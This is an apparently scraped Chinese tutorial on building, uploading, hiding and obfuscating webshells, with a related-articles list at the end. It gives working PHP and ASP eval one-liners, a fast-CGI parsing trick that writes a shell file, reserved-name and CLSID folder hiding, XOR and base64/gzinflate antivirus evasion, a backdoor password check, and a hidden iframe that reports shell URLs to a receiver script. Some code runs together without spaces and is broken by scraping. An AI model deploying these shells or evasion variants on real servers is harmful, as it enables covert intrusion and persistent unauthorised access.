Webshell实现与隐藏探究
一、什么是webshell
- webshell简介
webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理 工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于 webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被 黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话 连接本地的一些相关工具直接对服务器进行入侵操作。
- webshell的分类
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")//建立流对象
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字体标准
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect "newmm.asp" //转向newmm.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木马的内容)
</textarea>
<BR>
<center>
<br>
<input type=submit value=提交>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<form action=http://主机路径/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")//建立流对象
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字体标准
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect "newmm.asp" //转向newmm.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木马的内容)
</textarea>
<BR>
<center>
<br>
<input type=submit value=提交>
|
大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制 该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很 有可能超出了网站上传限制,但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马 拿到webshell,然后通过小马的连接上传大马拿到服务器。
二、如何上传webshell
1.解析漏洞上传
(1)iis目录解析漏洞
(2)文件解析漏洞
比如:xx.asp;.jpg。在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。
(3)文件名解析
(4)fast-CGI解析漏洞
在web服务器开启fast-CGI的时候,上传图片xx.jpg。内容为:
1
|
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>
|
这里使用的fput创建一个shell.php文件,并写入一句话。访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马 shell.php。这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。语言环境:PHP,prel,Bourne Shell,C等语言。
(5)apache解析漏洞
2.截断上传
3.后台数据库备份
4.利用数据库语句上传
(1) mysql数据库into outfile
(2)建立新表写入木马
(3)phpMyadmin设置错误
三、webshell的“安全”
1.关于webshell的隐藏
(1)大马的隐藏
①不死僵尸
windows系统存在系统保留文件夹名,windows不允许用这些名字来命名文件夹保留文件 夹:aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。 但是这些可以使用windows的copy命令创建,比如:
1
|
c:\>copy 3.asp \\.\C:\aux.asp
|
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png
②clsid隐藏
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png
点开进入的是控制面板,但是其实该文件还是文件夹,里面还存在大马,而且创建一个这样一个带有clsid的文件夹将其命名为相应的程序可以迷惑网络 管理员的实现,比如进入回收站文件夹中创建这样一个带有回收站clsid的文件夹,在里面里面再copy一个保留字asp,还可以使用
1
|
attrib +h +s +r +d/s /d
|
修改该文件的属性,将其隐藏,一般windows都是默认不显示隐藏文件的,而且回收站文件夹是自动创建的,这样可以达到隐藏一个不死webshell到服务器中去。
③驱动隐藏技术
1
|
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png
|
权限的设置有可读accessable,可写writable,可删deletable,可见visible。
1
|
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg
|
上图可以看到我们将其隐藏了,如前文所说,因为直接绕过了遍历,那么访问绝对路径却可以访问。我的理解是:
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
1
2
3
4
|
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
|
这4个文件代替了遍历查询,要访问隐藏后的文件,输入绝对路径并不是应用绝对路径查询,而是通过上面4个文件进行的查询,相当于给隐藏文件做了一个单独的驱动。
④注册表隐藏
(2)一句话木马的隐藏
①头文件包含隐藏
到web服务器上的一个asp文件,在文件的开始部分写上include语句,<!–#includefile=”inc:1.jpg”–&
gt;。文件包含可以解析NTFS流为asp,包含之后,我们访问那个asp文件就包含了一句话,这样就隐藏了一句话。
php包含语句:
1
|
<?php include($include);?>
|
这里的$include可以是外部路径比如:
这个aaa上的1.php内容为
1
|
<?php include($include);?>
|
,表示包含。bbb是外部服务器的,前提是这个服务器不能支持PHP。否则将会在bbb这个服务器上执行hehe.php(即一句话马),而aaa不执行。
②配置文件隐藏一句话(PHP)
auto_prepend_file =hehe.php
include_path = “E:\PHPnow-1.5.6\htdocs;”
③404小马
四、关于webshell的免杀一句话免杀
1.构造法绕过检测(PHP)
@$_++; // 这里++让’_’自加1
$__=("#"^"|"); // _
$__=("."^"~"); // P
$__=("/"^"`"); // O
$__=("|"^"/"); // S
$__=("{"^"/"); // T
?>
1
2
3
4
5
6
7
8
|
<?php
@$_++; // 这里++让’_’自加1
$__=("#"^"|"); // _
$__=("."^"~"); // P
$__=("/"^"`"); // O
$__=("|"^"/"); // S
$__=("{"^"/"); // T
?>
|
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST
@${$__}[!$_](${$__}[$_]);?>
1
2
3
|
<?php @$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST
@${$__}[!$_](${$__}[$_]);?>
|
@$_POST[0]($POST[1])
但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,比如
1
|
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/")
|
的二进制值与_POST字符的值一样的,要是检测程序会检测二进制码的值,还是会被杀掉。
2.正则表达式代替法(PHP)
function funfunc($str){}
echopreg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>
1
2
3
4
|
<?php
function funfunc($str){}
echopreg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>
|
<title>{${phpinfo()}}</title>
funfunc({${phpinfo()}})
3.即时生成法(PHP)
4.回避法(asp)
1
|
<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>
|
1
|
<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>
|
5.拆分法(asp)
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
1
2
|
<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
|
6.乱码变形(ANSI->Unicode加密)
1
|
<%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”
|
1
|
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
|
1
|
<%eval (eval(request("brute"))%>
|
7.大马免杀
(1)base4code编码
大马的免杀可以通过将大马的代码进行压缩,压缩之后在进行base4的加密算法,然后在大马的末尾添加
1
|
@eval(gzinflate(base64_decode($code)));
|
(2)ROT13编码(php)
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png
(3)其他编码
五、关于webshell的后门
if session("hehe")<>userpassthen
ifrequest.form("pass")<>"" then
if request.form("pass")=userpassor request.form("pass")="1111111" Then
session("hehe")=userpasss
response.redirect url
else
1
2
3
4
5
6
7
|
end function
if session("hehe")<>userpassthen
ifrequest.form("pass")<>"" then
if request.form("pass")=userpassor request.form("pass")="1111111" Then
session("hehe")=userpasss
response.redirect url
else
|
这里
1
|
request.form("pass")=userpass
|
原本是为了将pass的值进行验证,如果输入的pass值等于userpass的情况,就代表验证成功,但是后面
1
|
orrequest.from(“pass”)=”1111111”
|
表示如果输入的pass值为1111111,也可以登录大马。当然,这个地方不可能会这么简单,原作者完全可以把userpass赋值成为两个,添加一个
userpass改变的触发条件,在他登录的时候触发这个条件(比如说如果登录失败的时候将触发userpass值的更新),这样就可以添加一个后面,而
且触发条件的代码与验证代码分隔的较远,也不好查找,这个时候就需要我们把大马的代码逐行分析。
然后再用框架挂马:
1
|
<iframe src=后门地址 width=0 height=0></iframe>
|
这个地方将链接的地址宽度和高度全设置为0,就该页面就隐藏了。里面的“后门地址”指向自己的脚本收信器,最后将收信脚本放到自己搭建的一个公网服务器上面,收信脚本如下:
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
file.writeline url
file.close
set file=nothing
set fs=nothing
%>
1
2
3
4
5
6
7
8
|
<%url=Request.ServerVariables("HTTP_Referer")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
file.writeline url
file.close
set file=nothing
set fs=nothing
%>
|
其中
1
|
url=Request.ServerVariables("HTTP_Referer")
|
表示请求的字符转内容,即大马的url地址,然后把url地址保存到当前目录的hehe.txt。
Webshell实现与隐藏探究的更多相关文章
- atitit.木马病毒webshell的原理and设计 java c# .net php.
atitit.木马病毒webshell的原理and设计 java c# .net php. 1. 隐蔽性 编辑 WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用 ...
- 2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限
2017-2018-2 『网络对抗技术』Final:Web渗透获取WebShell权限 --------CONTENTS-------- 一.Webshell原理 1.什么是WebShell 2.We ...
- webshell
webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下 ...
- Deformity PHP Webshell、Webshell Hidden Learning
目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...
- webshell 匿名用户(入侵者)
“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限.webshell常常被称为匿名用户(入侵者)通过网站端口对网站服务器的某种程度上操作的权限.由于w ...
- 【渗透攻防】千变万化的WebShell
前言WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有 ...
- PHP Datatype Conversion Safety Risk、Floating Point Precision、Operator Security Risk、Safety Coding Principle
catalog . 引言 . PHP operator introduction . 算术运算符 . 赋值运算符 . 位运算符 . 执行运算符 . 递增/递减运算符 . 数组运算符 . 类型运算符 . ...
- 各种隐藏 WebShell、创建、删除畸形目录、特殊文件名、黑帽SEO作弊(转自核大大)
其实这个问题,经常有朋友问我,我也都帮大家解决了…… 但是现在这些现象越来越严重,而且手法毒辣.隐蔽.变态,清除了又来了,删掉了又恢复了,最后直接找不到文件了,但是访问网站还在,急的各大管理员.站长抓 ...
- 【web端权限维持】利用ADS隐藏webshell
0X01 前言 未知攻,焉知防,在web端如何做手脚维护自己拿到的权限呢?首先要面临的是webshell查杀,那么通过利用ADS隐藏webshell,不失为一个好办法. 0X02 利用ADS隐藏web ...
随机推荐
- c# 文件另存为代码
利用.NET中的File.Copy方法 命名空间:System.IO 重载列表:Copy(string sourceFilePath,string targetFilePath) sourceFile ...
- gitbook使用
第一步:安装node.js 官方网址:https://nodejs.org/en/ 运行以下命令,确认是否安装成功 node -v 第二步:安装gitbook npm install -g gitbo ...
- LeetCode131:Palindrome Partitioning
题目: Given a string s, partition s such that every substring of the partition is a palindrome. Return ...
- 在windows下配置Eclipse + go环境
http://blog.csdn.net/hengyunabc/article/details/7371446 本文章地址:http://blog.csdn.net/hengyunabc/articl ...
- Python语言规范及风格规范
语言规范: http://zh-google-styleguide.readthedocs.io/en/latest/google-python-styleguide/python_language_ ...
- Android 手机卫士18--流量统计
//获取手机下载流量 //获取流量(R 手机(2G,3G,4G)下载流量) long mobileRxBytes = TrafficStats.getMobileRxBytes(); //获取手机的总 ...
- JavaScript强化教程——Cocos2d-JS中JavaScript继承
javaScript语言本身没有提供类,没有其它语言的类继承机制,它的继承是通过对象的原型实现的,但这不能满足Cocos2d-JS引擎的要求.由于Cocos2d-JS引擎是从Cocos2d-x演变而来 ...
- 来自 CORS 预检通道的 CORS 头 'Access-Control-Allow-Headers' 的令牌 'appkey' 无效)。
1.服务端: web.config文件中: <system.webServer> <httpProtocol> <customHeaders> <add na ...
- Oracle数据库中创建表空间语句
1:创建临时表空间 create temporary tablespace user_temp tempfile 'Q:\oracle\product\10.2.0\oradata\Test\xyrj ...
- Sharepoint 2013 开启App和配置App
在任何站点中,点Add App,然后点Sharepoint Store,如果没有Enable apps,打开app store的时候出出现错误: Sorry, apps are turned off. ...